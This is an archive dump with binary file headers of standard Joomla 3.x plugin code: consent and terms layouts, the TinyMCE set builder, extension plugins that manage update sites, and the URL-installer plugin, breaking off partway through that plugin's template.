                                                                                                                                                                                
                                                                                                                                                                                
PK       !   
   
  !  system/privacyconsent/message.phpnu &1i        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete           Autocomplete attribute for the field.
 * @var   boolean  $autofocus              Is autofocus enabled?
 * @var   string   $class                  Classes for the input.
 * @var   string   $description            Description of the field.
 * @var   boolean  $disabled               Is this field disabled?
 * @var   string   $group                  Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden                 Is this field hidden in the form?
 * @var   string   $hint                   Placeholder for the field.
 * @var   string   $id                     DOM id of the field.
 * @var   string   $label                  Label of the field.
 * @var   string   $labelclass             Classes to apply to the label.
 * @var   boolean  $multiple               Does this field support multiple values?
 * @var   string   $name                   Name of the input field.
 * @var   string   $onchange               Onchange attribute for the field.
 * @var   string   $onclick                Onclick attribute for the field.
 * @var   string   $pattern                Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly               Is this field read only?
 * @var   boolean  $repeat                 Allows extensions to duplicate elements.
 * @var   boolean  $required               Is this field required?
 * @var   integer  $size                   Size attribute of the input.
 * @var   boolean  $spellcheck             Spellcheck state for the form field.
 * @var   string   $validate               Validation rules to apply.
 * @var   string   $value                  Value attribute of the field.
 * @var   array    $options                Options available for this field.
 * @var   array    $privacynote            The privacy note that needs to be displayed
 * @var   array    $translateLabel         Should the label be translated?
 * @var   array    $translateDescription   Should the description be translated?
 * @var   array    $translateHint          Should the hint be translated?
 * @var   array    $privacyArticle         The Article ID holding the Privacy Article
 */

echo '<div class="alert alert-info">' . $privacynote . '</div>';

PK       ! 6      system/privacyconsent/label.phpnu &1i        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete           Autocomplete attribute for the field.
 * @var   boolean  $autofocus              Is autofocus enabled?
 * @var   string   $class                  Classes for the input.
 * @var   string   $description            Description of the field.
 * @var   boolean  $disabled               Is this field disabled?
 * @var   string   $group                  Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden                 Is this field hidden in the form?
 * @var   string   $hint                   Placeholder for the field.
 * @var   string   $id                     DOM id of the field.
 * @var   string   $label                  Label of the field.
 * @var   string   $labelclass             Classes to apply to the label.
 * @var   boolean  $multiple               Does this field support multiple values?
 * @var   string   $name                   Name of the input field.
 * @var   string   $onchange               Onchange attribute for the field.
 * @var   string   $onclick                Onclick attribute for the field.
 * @var   string   $pattern                Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly               Is this field read only?
 * @var   boolean  $repeat                 Allows extensions to duplicate elements.
 * @var   boolean  $required               Is this field required?
 * @var   integer  $size                   Size attribute of the input.
 * @var   boolean  $spellcheck             Spellcheck state for the form field.
 * @var   string   $validate               Validation rules to apply.
 * @var   string   $value                  Value attribute of the field.
 * @var   array    $options                Options available for this field.
 * @var   array    $privacynote            The privacy note that needs to be displayed
 * @var   array    $translateLabel         Should the label be translated?
 * @var   array    $translateDescription   Should the description be translated?
 * @var   array    $translateHint          Should the hint be translated?
 * @var   array    $privacyArticle         The Article ID holding the Privacy Article
 * $var   object   $article                The Article object
 */

// Get the label text from the XML element, defaulting to the element name.
$text = $label ? (string) $label : (string) $name;
$text = $translateLabel ? Text::_($text) : $text;

// Set required to true as this field is not displayed at all if not required.
$required = true;

JHtml::_('behavior.modal');

// Build the class for the label.
$class = !empty($description) ? 'hasPopover' : '';
$class = $class . ' required';
$class = !empty($labelclass) ? $class . ' ' . $labelclass : $class;

// Add the opening label tag and main attributes.
$label = '<label id="' . $id . '-lbl" for="' . $id . '" class="' . $class . '"';

// If a description is specified, use it to build a tooltip.
if (!empty($description))
{
	$label .= ' title="' . htmlspecialchars(trim($text, ':'), ENT_COMPAT, 'UTF-8') . '"';
	$label .= ' data-content="' . htmlspecialchars(
		$translateDescription ? Text::_($description) : $description,
		ENT_COMPAT,
		'UTF-8'
	) . '"';
}

if (Factory::getLanguage()->isRtl())
{
	$label .= ' data-placement="left"';
}

$attribs          = array();
$attribs['class'] = 'modal';
$attribs['rel']   = '{handler: \'iframe\', size: {x:800, y:500}}';

if ($article)
{
	$link = JHtml::_('link', Route::_($article->link . '&tmpl=component'), $text, $attribs);
}
else
{
	$link = $text;
}

// Add the label text and closing tag.
$label .= '>' . $link . '<span class="star">&#160;*</span></label>';

echo $label;
PK       ! #h\  \  3  editors/tinymce/field/tinymcebuilder/setoptions.phpnu &1i        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   JForm        $form    Form with extra options for the set
 * @var   JLayoutFile  $this    Context
 */

?>
<div class="setoptions-form-wrapper">
<?php foreach ($form->getGroup(null) as $field) : ?>
	<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK       ! w-  -  (  editors/tinymce/field/tinymcebuilder.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Form Field class for the TinyMCE editor.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.7.0
 */
class JFormFieldTinymceBuilder extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $type = 'tinymcebuilder';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $layout = 'plugins.editors.tinymce.field.tinymcebuilder';

	/**
	 * The prepared layout data
	 *
	 * @var    array
	 * @since  3.7.0
	 */
	protected $layoutData = array();

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since  3.7.0
	 */
	protected function getLayoutData()
	{
		if (!empty($this->layoutData))
		{
			return $this->layoutData;
		}

		$data       = parent::getLayoutData();
		$paramsAll  = (object) $this->form->getValue('params');
		$setsAmount = empty($paramsAll->sets_amount) ? 3 : $paramsAll->sets_amount;

		if (empty($data['value']))
		{
			$data['value'] = array();
		}

		// Get the plugin
		require_once JPATH_PLUGINS . '/editors/tinymce/tinymce.php';

		$menus = array(
			'edit'   => array('label' => 'Edit'),
			'insert' => array('label' => 'Insert'),
			'view'   => array('label' => 'View'),
			'format' => array('label' => 'Format'),
			'table'  => array('label' => 'Table'),
			'tools'  => array('label' => 'Tools'),
		);

		$data['menus']         = $menus;
		$data['menubarSource'] = array_keys($menus);
		$data['buttons']       = PlgEditorTinymce::getKnownButtons();
		$data['buttonsSource'] = array_keys($data['buttons']);
		$data['toolbarPreset'] = PlgEditorTinymce::getToolbarPreset();
		$data['setsAmount']    = $setsAmount;

		// Get array of sets names
		for ($i = 0; $i < $setsAmount; $i++)
		{
			$data['setsNames'][$i] = JText::sprintf('PLG_TINY_SET_TITLE', $i);
		}

		// Prepare the forms for each set
		$setsForms  = array();
		$formsource = JPATH_PLUGINS . '/editors/tinymce/form/setoptions.xml';

		// Preload an old params for B/C
		$setParams = new stdClass;
		if (!empty($paramsAll->html_width) && empty($paramsAll->configuration['setoptions']))
		{
			$plugin = JPluginHelper::getPlugin('editors', 'tinymce');

			JFactory::getApplication()->enqueueMessage(JText::sprintf('PLG_TINY_LEGACY_WARNING', '#'), 'warning');

			if (is_object($plugin) && !empty($plugin->params))
			{
				$setParams = (object) json_decode($plugin->params);
			}
		}

		// Collect already used groups
		$groupsInUse = array();

		// Prepare the Set forms, for the set options
		foreach (array_keys($data['setsNames']) as $num)
		{
			$formname = 'set.form.' . $num;
			$control  = $this->name . '[setoptions][' . $num . ']';

			$setsForms[$num] = JForm::getInstance($formname, $formsource, array('control' => $control));

			// Check whether we already have saved values or it first time or even old params
			if (empty($this->value['setoptions'][$num]))
			{
				$formValues = $setParams;

				/*
				 * Predefine group:
				 * Set 0: for Administrator, Editor, Super Users (4,7,8)
				 * Set 1: for Registered, Manager (2,6), all else are public
				 */
				$formValues->access = !$num ? array(4,7,8) : ($num === 1 ? array(2,6) : array());

				// Assign Public to the new Set, but only when it not in use already
				if (empty($formValues->access) && !in_array(1, $groupsInUse))
				{
					$formValues->access = array(1);
				}
			}
			else
			{
				$formValues = (object) $this->value['setoptions'][$num];
			}

			// Collect already used groups
			if (!empty($formValues->access))
			{
				$groupsInUse = array_merge($groupsInUse, $formValues->access);
			}

			// Bind the values
			$setsForms[$num]->bind($formValues);
		}

		krsort($data['setsNames']);

		$data['setsForms'] = $setsForms;

		// Check for TinyMCE language file
		$language      = JFactory::getLanguage();
		$languageFile1 = 'media/editors/tinymce/langs/' . $language->getTag() . '.js';
		$languageFile2 = 'media/editors/tinymce/langs/' . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . '.js';

		$data['languageFile'] = '';

		if (file_exists(JPATH_ROOT . '/' . $languageFile1))
		{
			$data['languageFile'] = $languageFile1;
		}
		elseif (file_exists(JPATH_ROOT . '/' . $languageFile2))
		{
			$data['languageFile'] = $languageFile2;
		}

		$this->layoutData = $data;

		return $data;
	}

}
PK       ! Ui}      user/terms/label.phpnu &1i        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.terms
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete           Autocomplete attribute for the field.
 * @var   boolean  $autofocus              Is autofocus enabled?
 * @var   string   $class                  Classes for the input.
 * @var   string   $description            Description of the field.
 * @var   boolean  $disabled               Is this field disabled?
 * @var   string   $group                  Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden                 Is this field hidden in the form?
 * @var   string   $hint                   Placeholder for the field.
 * @var   string   $id                     DOM id of the field.
 * @var   string   $label                  Label of the field.
 * @var   string   $labelclass             Classes to apply to the label.
 * @var   boolean  $multiple               Does this field support multiple values?
 * @var   string   $name                   Name of the input field.
 * @var   string   $onchange               Onchange attribute for the field.
 * @var   string   $onclick                Onclick attribute for the field.
 * @var   string   $pattern                Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly               Is this field read only?
 * @var   boolean  $repeat                 Allows extensions to duplicate elements.
 * @var   boolean  $required               Is this field required?
 * @var   integer  $size                   Size attribute of the input.
 * @var   boolean  $spellcheck             Spellcheck state for the form field.
 * @var   string   $validate               Validation rules to apply.
 * @var   string   $value                  Value attribute of the field.
 * @var   array    $options                Options available for this field.
 * @var   array    $termsnote              The terms note that needs to be displayed
 * @var   array    $translateLabel         Should the label be translated?
 * @var   array    $translateDescription   Should the description be translated?
 * @var   array    $translateHint          Should the hint be translated?
 * @var   array    $termsArticle           The Article ID holding the Terms Article
 * $var   object   $article                The Article object
 */

// Get the label text from the XML element, defaulting to the element name.
$text = $label ? (string) $label : (string) $name;
$text = $translateLabel ? Text::_($text) : $text;

// Set required to true as this field is not displayed at all if not required.
$required = true;

JHtml::_('behavior.modal');

// Build the class for the label.
$class = !empty($description) ? 'hasPopover' : '';
$class = $class . ' required';
$class = !empty($labelclass) ? $class . ' ' . $labelclass : $class;

// Add the opening label tag and main attributes.
$label = '<label id="' . $id . '-lbl" for="' . $id . '" class="' . $class . '"';

// If a description is specified, use it to build a tooltip.
if (!empty($description))
{
	$label .= ' title="' . htmlspecialchars(trim($text, ':'), ENT_COMPAT, 'UTF-8') . '"';
	$label .= ' data-content="' . htmlspecialchars(
		$translateDescription ? Text::_($description) : $description,
		ENT_COMPAT,
		'UTF-8'
	) . '"';
}

if (Factory::getLanguage()->isRtl())
{
	$label .= ' data-placement="left"';
}

$attribs          = array();
$attribs['class'] = 'modal';
$attribs['rel']   = '{handler: \'iframe\', size: {x:800, y:500}}';

if ($article)
{
	$link = HTMLHelper::_('link', Route::_($article->link . '&tmpl=component'), $text, $attribs);
}
else
{
	$link = $text;
}

// Add the label text and closing tag.
$label .= '>' . $link . '<span class="star">&#160;*</span></label>';

echo $label;
PK       ! a
  
    user/terms/message.phpnu &1i        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.terms
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete           Autocomplete attribute for the field.
 * @var   boolean  $autofocus              Is autofocus enabled?
 * @var   string   $class                  Classes for the input.
 * @var   string   $description            Description of the field.
 * @var   boolean  $disabled               Is this field disabled?
 * @var   string   $group                  Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden                 Is this field hidden in the form?
 * @var   string   $hint                   Placeholder for the field.
 * @var   string   $id                     DOM id of the field.
 * @var   string   $label                  Label of the field.
 * @var   string   $labelclass             Classes to apply to the label.
 * @var   boolean  $multiple               Does this field support multiple values?
 * @var   string   $name                   Name of the input field.
 * @var   string   $onchange               Onchange attribute for the field.
 * @var   string   $onclick                Onclick attribute for the field.
 * @var   string   $pattern                Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly               Is this field read only?
 * @var   boolean  $repeat                 Allows extensions to duplicate elements.
 * @var   boolean  $required               Is this field required?
 * @var   integer  $size                   Size attribute of the input.
 * @var   boolean  $spellcheck             Spellcheck state for the form field.
 * @var   string   $validate               Validation rules to apply.
 * @var   string   $value                  Value attribute of the field.
 * @var   array    $options                Options available for this field.
 * @var   array    $termsnote              The terms note that needs to be displayed
 * @var   array    $translateLabel         Should the label be translated?
 * @var   array    $translateDescription   Should the description be translated?
 * @var   array    $translateHint          Should the hint be translated?
 * @var   array    $termsArticle           The Article ID holding the Terms Article
 */

echo '<div class="alert alert-info">' . $termsnote . '</div>';
PK       ! _s  s    user/profile/fields/dob.phpnu &1i        <?php
/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * $text  string  infotext to be displayed
 */
extract($displayData);

// Closing the opening .control-group and .control-label div so we can add our info text on own line ?>
</div></div>
<div class="controls"><?php echo $text; ?></div>
<?php // Creating new .control-group and .control-label for the actual field ?>
<div class="control-group"><div class="control-label">
PK       ! 5w  w    extension/joomla/joomla.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Extension.Joomla
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! master extension plugin.
 *
 * @since  1.6
 */
class PlgExtensionJoomla extends JPlugin
{
	/**
	 * @var    integer Extension Identifier
	 * @since  1.6
	 */
	private $eid = 0;

	/**
	 * @var    JInstaller Installer object
	 * @since  1.6
	 */
	private $installer = null;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Adds an update site to the table if it doesn't exist.
	 *
	 * @param   string   $name        The friendly name of the site
	 * @param   string   $type        The type of site (e.g. collection or extension)
	 * @param   string   $location    The URI for the site
	 * @param   boolean  $enabled     If this site is enabled
	 * @param   string   $extraQuery  Any additional request query to use when updating
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	private function addUpdateSite($name, $type, $location, $enabled, $extraQuery = '')
	{
		$db = JFactory::getDbo();

		// Look if the location is used already; doesn't matter what type you can't have two types at the same address, doesn't make sense
		$query = $db->getQuery(true)
			->select('update_site_id')
			->from('#__update_sites')
			->where('location = ' . $db->quote($location));
		$db->setQuery($query);
		$update_site_id = (int) $db->loadResult();

		// If it doesn't exist, add it!
		if (!$update_site_id)
		{
			$query->clear()
				->insert('#__update_sites')
				->columns(
					array(
						$db->quoteName('name'),
						$db->quoteName('type'),
						$db->quoteName('location'),
						$db->quoteName('enabled'),
						$db->quoteName('extra_query')
					)
				)
				->values(
					$db->quote($name) . ', '
					. $db->quote($type) . ', '
					// Trim to remove any whitespace from the XML file before saving the location to the db
					. $db->quote(trim($location)) . ', '
					. (int) $enabled . ', '
					. $db->quote($extraQuery)
				);
			$db->setQuery($query);

			if ($db->execute())
			{
				// Link up this extension to the update site
				$update_site_id = $db->insertid();
			}
		}

		// Check if it has an update site id (creation might have failed)
		if ($update_site_id)
		{
			// Look for an update site entry that exists
			$query->clear()
				->select('update_site_id')
				->from('#__update_sites_extensions')
				->where('update_site_id = ' . $update_site_id)
				->where('extension_id = ' . $this->eid);
			$db->setQuery($query);
			$tmpid = (int) $db->loadResult();

			if (!$tmpid)
			{
				// Link this extension to the relevant update site
				$query->clear()
					->insert('#__update_sites_extensions')
					->columns(array($db->quoteName('update_site_id'), $db->quoteName('extension_id')))
					->values($update_site_id . ', ' . $this->eid);
				$db->setQuery($query);
				$db->execute();
			}
		}
	}

	/**
	 * Handle post extension install update sites
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		if ($eid)
		{
			$this->installer = $installer;
			$this->eid = $eid;

			// After an install we only need to do update sites
			$this->processUpdateSites();
		}
	}

	/**
	 * Handle extension uninstall
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   boolean     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		// If we have a valid extension ID and the extension was successfully uninstalled wipe out any
		// update sites for it
		if ($eid && $result)
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->delete('#__update_sites_extensions')
				->where('extension_id = ' . $eid);
			$db->setQuery($query);
			$db->execute();

			// Delete any unused update sites
			$query->clear()
				->select('update_site_id')
				->from('#__update_sites_extensions');
			$db->setQuery($query);
			$results = $db->loadColumn();

			if (is_array($results))
			{
				// So we need to delete the update sites and their associated updates
				$updatesite_delete = $db->getQuery(true);
				$updatesite_delete->delete('#__update_sites');
				$updatesite_query = $db->getQuery(true);
				$updatesite_query->select('update_site_id')
					->from('#__update_sites');

				// If we get results back then we can exclude them
				if (count($results))
				{
					$updatesite_query->where('update_site_id NOT IN (' . implode(',', $results) . ')');
					$updatesite_delete->where('update_site_id NOT IN (' . implode(',', $results) . ')');
				}

				// So let's find what update sites we're about to nuke and remove their associated extensions
				$db->setQuery($updatesite_query);
				$update_sites_pending_delete = $db->loadColumn();

				if (is_array($update_sites_pending_delete) && count($update_sites_pending_delete))
				{
					// Nuke any pending updates with this site before we delete it
					// TODO: investigate alternative of using a query after the delete below with a query and not in like above
					$query->clear()
						->delete('#__updates')
						->where('update_site_id IN (' . implode(',', $update_sites_pending_delete) . ')');
					$db->setQuery($query);
					$db->execute();
				}

				// Note: this might wipe out the entire table if there are no extensions linked
				$db->setQuery($updatesite_delete);
				$db->execute();
			}

			// Last but not least we wipe out any pending updates for the extension
			$query->clear()
				->delete('#__updates')
				->where('extension_id = ' . $eid);
			$db->setQuery($query);
			$db->execute();
		}
	}

	/**
	 * After update of an extension
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension identifier
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		if ($eid)
		{
			$this->installer = $installer;
			$this->eid = $eid;

			// Handle any update sites
			$this->processUpdateSites();
		}
	}

	/**
	 * Processes the list of update sites for an extension.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	private function processUpdateSites()
	{
		$manifest      = $this->installer->getManifest();
		$updateservers = $manifest->updateservers;

		if ($updateservers)
		{
			$children = $updateservers->children();
		}
		else
		{
			$children = array();
		}

		if (count($children))
		{
			foreach ($children as $child)
			{
				$attrs = $child->attributes();
				$this->addUpdateSite($attrs['name'], $attrs['type'], trim($child), true, $this->installer->extraQuery);
			}
		}
		else
		{
			$data = trim((string) $updateservers);

			if ($data !== '')
			{
				// We have a single entry in the update server line, let us presume this is an extension line
				$this->addUpdateSite(JText::_('PLG_EXTENSION_JOOMLA_UNKNOWN_SITE'), 'extension', $data, true);
			}
		}
	}
}
PK       ! tx%$      extension/joomla/joomla.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="extension" method="upgrade">
	<name>plg_extension_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>May 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_EXTENSION_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_extension_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_extension_joomla.sys.ini</language>
	</languages>
</extension>
PK       ! V        extension/joomla/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! V        extension/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! Ftb  b    extension/jce/jce.phpnu bS        <?php
/**
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved
 * @copyright   Copyright (C) 2018 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * JCE extension plugin.
 *
 * @since  2.6
 */
class PlgExtensionJce extends JPlugin
{
    /**
     * Check the installer is for a valid plugin group.
     *
     * @param JInstaller $installer Installer object
     *
     * @return bool
     *
     * @since   2.6
     */
    private function isValidPlugin($installer)
    {
        if (empty($installer->manifest)) {
            return false;
        }

        foreach (array('type', 'group') as $var) {
            $$var = (string) $installer->manifest->attributes()->{$var};
        }

        return $type === 'plugin' && $group === 'jce';
    }

    public function onExtensionBeforeInstall($method, $type, $manifest, $extension = 0)
    {
        if ((string) $type === "file") {

            // get a reference to the current installer
            $manifestPath = JInstaller::getInstance()->getPath('manifest');

            if (empty($manifestPath)) {
                return true;
            }

            // get the filename of the manifest file, eg: pkg_jce_de-DE
            $element = basename($manifestPath, '.xml');

            // if this matches the current install...
            if (strpos($element, 'pkg_jce_') !== false) {
                // find an existing legacy language install, eg: jce-de-DE
                $element = str_replace('pkg_jce_', 'jce-', $element);

                $table = JTable::getInstance('extension');
                $id = $table->find(array('type' => 'file', 'element' => $element));

                if ($id) {
                    $installer = new JInstaller();

                    // try unisntall, if this fails, delete database entry
                    if (!$installer->uninstall('file', $id)) {
                        $table->delete($id);
                    }
                }
            }
        }
    }
    /**
     * Handle post extension install update sites.
     *
     * @param JInstaller $installer Installer object
     * @param int        $eid       Extension Identifier
     *
     * @since   2.6
     */
    public function onExtensionAfterInstall($installer, $eid)
    {
        if ($eid) {
            if (!$this->isValidPlugin($installer)) {
                return false;
            }

            $basename = basename($installer->getPath('extension_root'));

            if (strpos($basename, '-') === false) {
                return false;
            }

            require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/plugins.php';

            // enable plugin
            $plugin = JTable::getInstance('extension');
            $plugin->load($eid);
            $plugin->publish();

            $parts = explode('-', $basename);
            $type = $parts[0];
            $name = $parts[1];

            $plugin = new StdClass();
            $plugin->name = $name;

            if ($type === 'editor') {
                $plugin->icon = (string) $installer->manifest->icon;
                $plugin->row = (int) (string) $installer->manifest->attributes()->row;
                $plugin->type = 'plugin';
            } else {
                $plugin->type = 'extension';
            }

            $plugin->path = $installer->getPath('extension_root');

            JcePluginsHelper::postInstall('install', $plugin, $installer);

            // clean up legacy extensions
            if ($plugin->type == 'extension') {
                jimport('joomla.filesystem.folder');
                jimport('joomla.filesystem.file');

                $path = JPATH_SITE . '/components/com_jce/editor/extensions/' . $type;

                // delete manifest
                if (is_file($path . '/' . $plugin->name . '.xml')) {
                    JFile::delete($path . '/' . $plugin->name . '.xml');
                }
                // delete file
                if (is_file($path . '/' . $plugin->name . '.php')) {
                    JFile::delete($path . '/' . $plugin->name . '.php');
                }
                // delete folder
                if (is_dir($path . '/' . $plugin->name)) {
                    JFolder::delete($path . '/' . $plugin->name);
                }
            }
        }
    }

    /**
     * Handle extension uninstall.
     *
     * @param JInstaller $installer Installer instance
     * @param int        $eid       Extension id
     * @param int        $result    Installation result
     *
     * @since   1.6
     */
    public function onExtensionAfterUninstall($installer, $eid, $result)
    {
        if ($eid) {
            if (!$this->isValidPlugin($installer)) {
                return false;
            }

            $basename = basename($installer->getPath('extension_root'));

            if (strpos($basename, '-') === false) {
                return false;
            }

            require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/plugins.php';

            $parts = explode('-', $basename);
            $type = $parts[0];
            $name = $parts[1];

            $plugin = new StdClass();
            $plugin->name = $name;

            if ($type === 'editor') {
                $plugin->icon = (string) $installer->manifest->icon;
                $plugin->row = (int) (string) $installer->manifest->attributes()->row;
                $plugin->type = 'plugin';
            }

            $plugin->path = $installer->getPath('extension_root');

            JcePluginsHelper::postInstall('uninstall', $plugin, $installer);
        }
    }
}
PK       ! e      extension/jce/jce.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="extension" method="upgrade">
	<name>plg_extension_jce</name>
	<version>2.8.3</version>
  <creationDate>15-01-2020</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_EXTENSION_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/extension/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_extension_jce.ini</language>
      <language tag="en-GB">en-GB.plg_extension_jce.sys.ini</language>
  </languages>
</extension>
PK       ! ,/    '  installer/urlinstaller/urlinstaller.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.urlinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * UrlFolderInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerUrlInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'url';
		$tab['label']   = JText::_('PLG_INSTALLER_URLINSTALLER_TEXT');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'urlinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
PK       ! d,  ,  '  installer/urlinstaller/urlinstaller.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>PLG_INSTALLER_URLINSTALLER</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_URLINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="urlinstaller">urlinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_urlinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_urlinstaller.sys.ini</language>
	</languages>
</extension>
PK       ! )ha  a  '  installer/urlinstaller/tmpl/default.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.urlinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonurl = function()
	{
		var form = document.getElementById("adminForm");

		JoomlaInstaller.showLoading();
		form.installtype.value = "url"
		form.submit();
	};
');
?>
<legend><?php echo JText::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?></legend>
<div class="control-group">
	<label for="install_url" class="control-label"><?php echo JText::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?></label>
	<div class="controls">
